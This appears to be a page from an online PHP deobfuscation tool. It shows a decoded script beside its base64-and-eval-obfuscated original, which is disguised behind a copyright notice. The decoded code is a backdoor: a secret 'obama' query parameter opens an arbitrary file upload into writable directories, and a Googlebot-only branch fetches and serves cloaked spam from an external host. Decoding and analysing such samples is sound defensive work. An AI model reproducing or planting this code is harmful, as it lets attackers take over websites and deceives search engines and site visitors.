Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php // This file is protected by copyright law and provided under license. Reverse engin..
Decoded Output download
error_reporting(E_ALL);
ini_set("display_errors",0);
$root=$_SERVER['DOCUMENT_ROOT']."/data/";
if(!file_exists($root))
$root=$_SERVER['DOCUMENT_ROOT']."/wp-content/uploads/";
if(file_perms($root,true)!="777")
$root=$_SERVER['DOCUMENT_ROOT']."/data/";
if(!file_exists($root))
$root=$_SERVER['DOCUMENT_ROOT']."/upload/";
if(file_perms($root,true)!="777")
$root=$_SERVER['DOCUMENT_ROOT']."/data/";
if(!file_exists($root))
$root=$_SERVER['DOCUMENT_ROOT']."/images/";
if(file_perms($root,true)!="777")
$root=$_SERVER['DOCUMENT_ROOT']."/data/";
if(!file_exists($root))
$root=$_SERVER['DOCUMENT_ROOT']."/cache/";
if(file_perms($root,true)!="777")
$root=$_SERVER['DOCUMENT_ROOT']."/data/";
if(isset($_GET["obama"]))
{
if($_SERVER['REQUEST_METHOD']=="POST")
{
$fname=$_FILES["myFile"]["name"];
move_uploaded_file($_FILES["myFile"]["tmp_name"],$root."/" .$fname);
echo $root."/" .$fname;
}
;echo ' <form action="" method="post" enctype="multipart/form-data">
<input type="file" name="myFile" />
<input type="submit" value="save" />
</form>
';
exit();
}
if (strpos(strtolower($_SERVER['HTTP_USER_AGENT']),"googlebot"))
if(isset($_GET["p"]))
{
$seo = str_replace(".html","",$_GET["p"]);
$url=$seo;
$url=str_replace(".html","",$url);
$file=md5($url);
if(!file_exists($root.$file.".tpl"))
{
$str=file_get_contents("http://rss.plus-transdatagoogle.com/?mod=seo&site=".$_SERVER['SERVER_NAME']."&url=".$url);
if(strlen($str)>100)
@file_put_contents($root.$file.".tpl",$str);
}
echo base64_decode(@file_get_contents($root.$file.".tpl"));
exit();
}
function file_perms($file, $octal = false)
{
if(!file_exists($file)) return false;
$perms = fileperms($file);
$cut = $octal ? 2 : 3;
return substr(decoct($perms), $cut);
}
Did this file decode correctly?
Original Code
<?php // This file is protected by copyright law and provided under license. Reverse engineering of this file is strictly prohibited.
$OOO0O0O00=__FILE__;$O00O00O00=__LINE__;$OO00O0000=2624;eval((base64_decode('JE8wMDBPME8wMD1mb3BlbigkT09PME8wTzAwLCdyYicpO3doaWxlKC0tJE8wME8wME8wMClmZ2V0cygkTzAwME8wTzAwLDEwMjQpO2ZnZXRzKCRPMDAwTzBPMDAsNDA5Nik7JE9PMDBPMDBPMD0oYmFzZTY0X2RlY29kZShzdHJ0cihmcmVhZCgkTzAwME8wTzAwLDM3MiksJ21Bbkk1UHRkekNFMEhZaFJXSzYvU2p1VlErSnJsYmFveDRxRkRHQk9NVDl3MnljWFprTmkxTDNnN3N2ZnBVOGU9JywnQUJDREVGR0hJSktMTU5PUFFSU1RVVldYWVphYmNkZWZnaGlqa2xtbm9wcXJzdHV2d3h5ejAxMjM0NTY3ODkrLycpKSk7ZXZhbCgkT08wME8wME8wKTs=')));return;?>
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
Function Calls
fgets | 2 |
fopen | 1 |
fread | 2 |
strtr | 2 |
fclose | 1 |
ereg_replace | 1 |
base64_decode | 3 |
Stats
MD5 | ee4bd5da7fb97d7d09f520676e3d82b2 |
Eval Count | 3 |
Decode Time | 112 ms |